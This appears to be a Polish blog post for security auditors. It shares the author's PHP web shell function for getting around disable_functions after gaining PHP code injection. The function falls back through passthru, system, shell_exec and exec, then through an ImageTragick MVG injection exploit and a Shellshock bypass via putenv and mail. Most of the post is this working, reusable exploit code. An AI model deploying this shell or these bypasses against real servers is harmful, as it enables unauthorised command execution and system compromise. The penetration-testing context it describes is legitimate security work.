
Testując bezpieczeństwo aplikacji internetowych, często udaje się uzyskać dostęp do kodu PHP (PHP Code Injection/PHP Object Injection). Audytor zazwyczaj powinien wtedy spróbować eskalować w celu uzyskania uprawnień do wywołania komend systemowych. W tym celu najprostszym rozwiązaniem może być użycie polecenia:
exec('pwd');
Komenda pwd ma tylko ujawnić aktualną ścieżkę (demo).
Jeżeli środowisko jest skonfigurowane lepiej, niż mój samód po ostatnich wizytach u mechanika - to wykonanie tego polecenia zwróci komunikat błędu (funkcja zablokowana ze względu na tryb safe-mode, bądź po prostu jest niezdefiniowana).
Z pomocą przekazuję Wam kawałek autorskiego skryptu web shella, przygotowanego właśnie w celach audytu. Weryfikuje on pozostałe możliwe funkcje oraz próbuje wykonać polecenie systemowe za pomocą znanych exploitów PHP.
function shellCmd($cmd) {
$return;
ob_start();
$cmd = stripslashes($cmd);
$disabled = explode(',', ini_get('disable_functions'));
if(!in_array('passthru', $disabled)) {
passthru($cmd);
} else if(!in_array('system', $disabled)) {
system($cmd);
} else if(!in_array('shell_exec', $disabled)) {
$return .= shell_exec($cmd);
} else if(!in_array('exec', $disabled)) {
$return .= exec($cmd);
} else if (class_exists('Imagick')) {
//====================================================[imagick]
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$exploit = <<
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$cmd>$data_file")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
echo file_get_contents($data_file);
} else {
//====================================================[shellshock]
$tmp = tempnam(".","data");
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("[email protected]","","","","-bv");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != '') {
echo $output;
} else {
echo "There was no way to execute system command.";
}
}
$return .= ob_get_contents();
ob_end_clean();
return $return;
}
Więcej ciekawych rozwiązań, niestety na starsze wersje PHP/Apache można zobaczyć:
http://reverse-tcp.xyz/2016/12/22/php-disabled_functions-bypass/